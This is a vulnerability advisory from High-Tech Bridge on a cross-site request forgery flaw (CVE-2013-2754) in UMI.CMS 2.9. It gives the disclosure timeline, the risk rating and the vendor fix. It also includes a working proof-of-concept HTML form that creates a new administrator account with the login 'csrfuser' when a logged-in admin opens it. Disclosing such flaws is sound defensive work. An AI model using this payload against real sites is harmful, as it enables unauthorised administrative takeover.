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Cross-Site Request Forgery (CSRF) in UMI.CMS

Advisory ID:HTB23151
Vendor:OOO Umisoft
Vulnerable Versions:2.9 and probably prior
Tested Version:2.9
Advisory Publication:April 3, 2013 [without technical details]
Vendor Notification:April 3, 2013
Vendor Fix:May 7, 2013
Public Disclosure:May 8, 2013
Latest Update:May 7, 2013
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2013-2754
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered CSRF vulnerability in UMI.CMS, which can be exploited to perform Cross-Site Request Forgery (CSRF) attacks and create new administrator in the vulnerable application.

1) Cross-site Request Forgery (CSRF) in UMI.CMS: CVE-2013-2754
The application allows authorized administrator to perform certain sensitive actions via HTTP requests without making proper validity checks to verify the source of these HTTP requests. This can be exploited to perform any actions with administrator privileges, such as adding new administrator to the system.
A remote attacker can create a specially crafted webpage, trick a logged-in administrator to open it and create new user with administrative privileges.
A basic CSRF exploit below will create new administrator with "csrfuser" as a login and "password" as a password:
<form action="http://[host]/admin/users/add/user/do/" method="post" name="main">
<input type="hidden" name="data[new][login]" value="csrfuser">
<input type="hidden" name="data[new][password][]" value="password">
<input type="hidden" name="data[new][e-mail]" value="">
<input type="hidden" name="data[new][is_activated]" value="1">
<input type="hidden" name="data[new][fname]" value="username">
<input type="hidden" name="data[new][groups][]" value="1">
<input type="hidden" name="data[new][groups][]" value="2">
<input type="hidden" name="" value="">
<input type="submit" id="btn">

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Upgrade to UMI.CMS 2.9 build 21905
Changelog: (task number 17390)

[1] High-Tech Bridge Advisory HTB23151 - - Cross-Site Request Forgery (CSRF) in UMI.CMS
[2] UMI.CMS - - UMI.CMS is a fast and scalable content management system.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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